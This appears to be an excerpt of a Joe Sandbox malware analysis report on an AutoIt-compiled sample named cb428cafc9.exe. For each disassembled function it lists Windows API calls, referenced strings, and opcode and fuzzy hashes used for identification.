Opcode ID: 42e9b3fc98ac9d42533902c57b8753ebd6683c8a3567b622775da0b7d2c31167
Instruction ID: 711b3b0861085b4973cd48a19efda04023994b12bed7da3b534e520157357ea4
Opcode Fuzzy Hash: 42e9b3fc98ac9d42533902c57b8753ebd6683c8a3567b622775da0b7d2c31167
Instruction Fuzzy Hash: CE51CD72D0060A9FCB21DFA4D845BFEBBB8EF05314F14A15AF409B7291D7B19A019B61

Function 00E78A61 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 124COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,00000002,00000000,?,?,?,00000000,?,?,?,?), ref: 00E78B6E
GetLastError.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,00000000,00001000,?), ref: 00E78B7A
__dosmaperr.LIBCMT ref: 00E78B81

Strings

., xrefs: 00E78A63

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide__dosmaperr
String ID: .
API String ID: 2434981716-3963672497
Opcode ID: 15eaf04ec6a3e2ceca022eeca67ee18efd65f2d46f121f1461ed7202f5db236f
Instruction ID: fa8d5bb16e6b8ecbd6563aa16254f46a6b8ab2c2d574a6daa59093ced2a85889
Opcode Fuzzy Hash: 15eaf04ec6a3e2ceca022eeca67ee18efd65f2d46f121f1461ed7202f5db236f
Instruction Fuzzy Hash: 8141AC74604045AFCB249F24D989ABD3FE5DF95304F28E1AAF88CA7242DE318C03A790

Function 00EA2716 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00EAB403: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00EA21D0,?,?,00000034,00000800,?,00000034), ref: 00EAB42D

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00EA2760

Part of subcall function 00EAB3CE: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00EA21FF,?,?,00000800,?,00001073,00000000,?,?), ref: 00EAB3F8

Part of subcall function 00EAB32A: GetWindowThreadProcessId.USER32(?,?), ref: 00EAB355
Part of subcall function 00EAB32A: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00EA2194,00000034,?,?,00001004,00000000,00000000), ref: 00EAB365
Part of subcall function 00EAB32A: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00EA2194,00000034,?,?,00001004,00000000,00000000), ref: 00EAB37B

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00EA27CD
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00EA281A

Strings

@, xrefs: 00EA2832

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 534e84e9ffff583c87ed146a723acaa7708dd14a0f9f1d70a481a31a87190cc4
Instruction ID: 9a16392ed31f36d3fa3d1925896d3285d41cc600fa1069b4df2214cd7bc86278
Opcode Fuzzy Hash: 534e84e9ffff583c87ed146a723acaa7708dd14a0f9f1d70a481a31a87190cc4
Instruction Fuzzy Hash: 91412E72900218AFDB10DFA4CD45ADEBBB8EF0A700F105099FA55BB181DB707E49CB61

Function 00E7172E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe,00000104), ref: 00E71769
_free.LIBCMT ref: 00E71834
_free.LIBCMT ref: 00E7183E

Strings

C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe, xrefs: 00E71760, 00E71767, 00E71796, 00E717CE

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe
API String ID: 2506810119-3170591493
Opcode ID: f0de03eff4dabeb4b7573dfb4fe157a85cabfeb7af824f9f6993c990c910f2b3
Instruction ID: a57ff9def3c2e8460bba43a35f9d801641de3cc91962fa96e032715a57bebcbf
Opcode Fuzzy Hash: f0de03eff4dabeb4b7573dfb4fe157a85cabfeb7af824f9f6993c990c910f2b3
Instruction Fuzzy Hash: FB318071A00358AFDB25DF99D881D9EBBFCEB85310B1491AAF908E7211D6708E40DB91

Function 00EAC27D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00EAC306
DeleteMenu.USER32(?,00000007,00000000), ref: 00EAC34C
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00F11990,01406718), ref: 00EAC395

Strings

0, xrefs: 00EAC2DF

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: 0
API String ID: 135850232-4108050209
Opcode ID: 62baf5b57b6138a21614c0291b9acc3fa58a1b2113dfbb026950c8716d1e0b2e
Instruction ID: 147338d728e213bc40fe0f33075cf6917c662c7645ebafba140564f7880a5a96
Opcode Fuzzy Hash: 62baf5b57b6138a21614c0291b9acc3fa58a1b2113dfbb026950c8716d1e0b2e
Instruction Fuzzy Hash: DD41B6312043019FDB24DF25D844B5ABBE4EF8A314F24966DF965AB2D1D770F908CB52

Function 00ED4416 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,00EDCC08,00000000,?,?,?,?), ref: 00ED44AA
GetWindowLongW.USER32 ref: 00ED44C7
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00ED44D7

Strings

SysTreeView32, xrefs: 00ED447C

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: bc4fac9f7f90270a69a0e95467595796619dfa97ee4dc6cbdc0e79c7b7ce097c
Instruction ID: f4e7309c2971d5131bac03f48c922d94844e0c3b454c94efd4aa8e64ae3f3524
Opcode Fuzzy Hash: bc4fac9f7f90270a69a0e95467595796619dfa97ee4dc6cbdc0e79c7b7ce097c
Instruction Fuzzy Hash: 92318D71210206AFDF219E38EC45BEA77A9EB18338F206716F975A22D0D770EC969750

Function 00EA6E71 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92memoryCOMMON

Download Yara Rule

APIs

SysReAllocString.OLEAUT32(?,?), ref: 00EA6EED
VariantCopyInd.OLEAUT32(?,?), ref: 00EA6F08
VariantClear.OLEAUT32(?), ref: 00EA6F12

Strings

*j, xrefs: 00EA6E8B, 00EA6E90, 00EA6EF8

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Variant$AllocClearCopyString
String ID: *j
API String ID: 2173805711-1845181700
Opcode ID: a82a0c5c02af5120b99e7493cd7eaac95f42710ceb1f1baa257e4d08787ff74c
Instruction ID: 1bf968b1655257d7a597c45bea22f64bf146efd910545158aa018b3ccc740453
Opcode Fuzzy Hash: a82a0c5c02af5120b99e7493cd7eaac95f42710ceb1f1baa257e4d08787ff74c
Instruction Fuzzy Hash: 7531B175704215DFCB04AFA4E8519BD77B6EF8B304B141499F8026F2A1C734E916DBD0

Function 00EC304E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC335B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,00EC3077,?,?), ref: 00EC3378

inet_addr.WSOCK32(?), ref: 00EC307A
_wcslen.LIBCMT ref: 00EC309B
htons.WSOCK32(00000000), ref: 00EC3106

Strings

255.255.255.255, xrefs: 00EC3095, 00EC309A

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ByteCharMultiWide_wcslenhtonsinet_addr
String ID: 255.255.255.255
API String ID: 946324512-2422070025
Opcode ID: abdadaaf70145b92187e893ae56789abfe46c910027acf83e9dc30ffcd70d2fc
Instruction ID: 82b254272116de5906a97e65622141bb0e56bbfe8f86c201051f37d155e0578a
Opcode Fuzzy Hash: abdadaaf70145b92187e893ae56789abfe46c910027acf83e9dc30ffcd70d2fc
Instruction Fuzzy Hash: 0031A33A6002019FCB10CF39D686FAA77E0EF54318F28D059E915AB392D732EE46C761

Function 00ED3EB8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00ED3F40
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00ED3F54
SendMessageW.USER32(?,00001002,00000000,?), ref: 00ED3F78

Strings

SysMonthCal32, xrefs: 00ED3F0B

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: 9a0336cae2568fe7907dd5f5dc81d82384319f9eddd03161557528a24f1fde62
Instruction ID: 43313cc4a2ae874ff9bda89ec4204d1d2f8de555ea211939444cecba48ec3db5
Opcode Fuzzy Hash: 9a0336cae2568fe7907dd5f5dc81d82384319f9eddd03161557528a24f1fde62
Instruction Fuzzy Hash: 2421AD32600219BFDF218F60DC46FEA3BB6EB48718F111215FA157B2D0D6B1E855DB90

Function 00ED4653 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00ED4705
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00ED4713
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00ED471A

Strings

msctls_updown32, xrefs: 00ED4684

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: f86fbbc50f7583eb00dd39209b388aaa2cbdecd44331c83bb5940f41f3d6c6d9
Instruction ID: ddad5523a81194be1017c5f5903bb85759fdb9c79842cb5d381445d90edacbf5
Opcode Fuzzy Hash: f86fbbc50f7583eb00dd39209b388aaa2cbdecd44331c83bb5940f41f3d6c6d9
Instruction Fuzzy Hash: 2D2151F5600209AFEB10DF64DCC1DA737EDEB5A3A8B14105AF610A7391CB71EC12DA60

Function 00EA95AD Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 85COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00EA961D

Strings

#OnAutoItStartRegister, xrefs: 00EA95F3
#notrayicon, xrefs: 00EA95B7
#requireadmin, xrefs: 00EA95D9

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: _wcslen
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 176396367-2734436370
Opcode ID: 0060ac4d44dfe3460f60fda7b8566a39a461c15d6fb7833694cdeacb7b13c409
Instruction ID: 1d98ce326d18496520cef90a5a52cf5b25fb8acc13f31e6880b524633ef6c491
Opcode Fuzzy Hash: 0060ac4d44dfe3460f60fda7b8566a39a461c15d6fb7833694cdeacb7b13c409
Instruction Fuzzy Hash: D121357264421166D331EA24AC02FBB73D8DF9A314F106426F94ABF182EB51BD52C2E5

Function 00ED37B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00ED3840
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00ED3850
MoveWindow.USER32(00000000,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00ED3876

Strings

Listbox, xrefs: 00ED380F

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: a8714103e5e488eb544ed7d1e16fb96abb7eefaa25bed9419e9240bea7763c2d
Instruction ID: 7839afd483a48a3b45aff4310c0440d487b00c366db7fc36c346673ad3e0b482
Opcode Fuzzy Hash: a8714103e5e488eb544ed7d1e16fb96abb7eefaa25bed9419e9240bea7763c2d
Instruction Fuzzy Hash: 8721F272600218BFEF218F64DC41FBB376EEF89754F109116F900AB290C671DC1297A1

Function 00EB49F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00EB4A08
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00EB4A5C
SetErrorMode.KERNEL32(00000000,?,?,00EDCC08), ref: 00EB4AD0

Strings

%lu, xrefs: 00EB4A6F

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: b16e5bb8456a00d46ba7c8458075a3fc7a8701e99b12415c07b30b1f63208282
Instruction ID: ba811b3137ca246a2fcc93e8136cba30e50e651ddfae59aad3f4bea3de6158fa
Opcode Fuzzy Hash: b16e5bb8456a00d46ba7c8458075a3fc7a8701e99b12415c07b30b1f63208282
Instruction Fuzzy Hash: BE315E71A00219AFDB10DF54C885EAABBF8EF08308F1490A5F909EB253D771ED46CB61

Function 00ED41EB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00ED424F
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00ED4264
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00ED4271

Strings

msctls_trackbar32, xrefs: 00ED4226

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: a909184fcf419c6ac527439e339c167a142b082150add3b0b2aee2420c7933ef
Instruction ID: 9b4af89a3c44217aead5768ed787665d8f5e42191f51c593aa2ad765b1430bac
Opcode Fuzzy Hash: a909184fcf419c6ac527439e339c167a142b082150add3b0b2aee2420c7933ef
Instruction Fuzzy Hash: 2311E371240208BFEF205E69CC06FAB3BACEF95B68F111115FA55F61E0D671D8129B10

Function 00EA2F52 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E46B57: _wcslen.LIBCMT ref: 00E46B6A

Part of subcall function 00EA2DA7: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00EA2DC5
Part of subcall function 00EA2DA7: GetWindowThreadProcessId.USER32(?,00000000), ref: 00EA2DD6
Part of subcall function 00EA2DA7: GetCurrentThreadId.KERNEL32 ref: 00EA2DDD
Part of subcall function 00EA2DA7: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00EA2DE4

GetFocus.USER32 ref: 00EA2F78

Part of subcall function 00EA2DEE: GetParent.USER32(00000000), ref: 00EA2DF9

GetClassNameW.USER32(?,?,00000100), ref: 00EA2FC3
EnumChildWindows.USER32(?,00EA303B), ref: 00EA2FEB

Strings

%s%d, xrefs: 00EA2FFF

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows_wcslen
String ID: %s%d
API String ID: 1272988791-1110647743
Opcode ID: 0362dba1f4b8b1a9b3cb285e1aba45691725f9f96183ab80433641450f238f0b
Instruction ID: 3f5fae523b1e91279ed15f94f7a4c323ba2716baba336ca6aa8155505a93597b
Opcode Fuzzy Hash: 0362dba1f4b8b1a9b3cb285e1aba45691725f9f96183ab80433641450f238f0b
Instruction Fuzzy Hash: D41196716002055BCF146F749C85EED77A9DF89308F145075FE09BF192DE70A949DB60

Function 00ED5882 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,?,?,00000030), ref: 00ED58C1
SetMenuItemInfoW.USER32(?,?,?,00000030), ref: 00ED58EE
DrawMenuBar.USER32(?), ref: 00ED58FD

Strings

0, xrefs: 00ED588F

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Menu$InfoItem$Draw
String ID: 0
API String ID: 3227129158-4108050209
Opcode ID: a4560a6ebf6c1cd535e5a4f01624db6b339cc722d4ea646153bc27ba5f7a9cc6
Instruction ID: 23090bbff10462df08205ce6bd8e2b1b3b5a5d919dbbbc43f2b4952617e66e6e
Opcode Fuzzy Hash: a4560a6ebf6c1cd535e5a4f01624db6b339cc722d4ea646153bc27ba5f7a9cc6
Instruction Fuzzy Hash: D7018432500218EFDB219F15EC45BEEBBB4FF45365F10909AE859E6251DB308A85DF21

Function 00E9D3A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,GetSystemWow64DirectoryW), ref: 00E9D3BF
FreeLibrary.KERNEL32 ref: 00E9D3E5

Strings

GetSystemWow64DirectoryW, xrefs: 00E9D3B9
X64, xrefs: 00E9D2A8

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: GetSystemWow64DirectoryW$X64
API String ID: 3013587201-2590602151
Opcode ID: 9e157bf6757c4d12f15d539337441f6450fde72d494182fb07f81a711bbc2adf
Instruction ID: ed3891ee947bb3beebe8b1a01335d152a57957255eaa80fff1ab9d240c1cbc1c
Opcode Fuzzy Hash: 9e157bf6757c4d12f15d539337441f6450fde72d494182fb07f81a711bbc2adf
Instruction Fuzzy Hash: 93F0E53180F632DBDF7597214C589E93324EF10742FA4BA6AE802F2155DB20CD49D693

Function 00EA007F Relevance: 6.3, APIs: 4, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
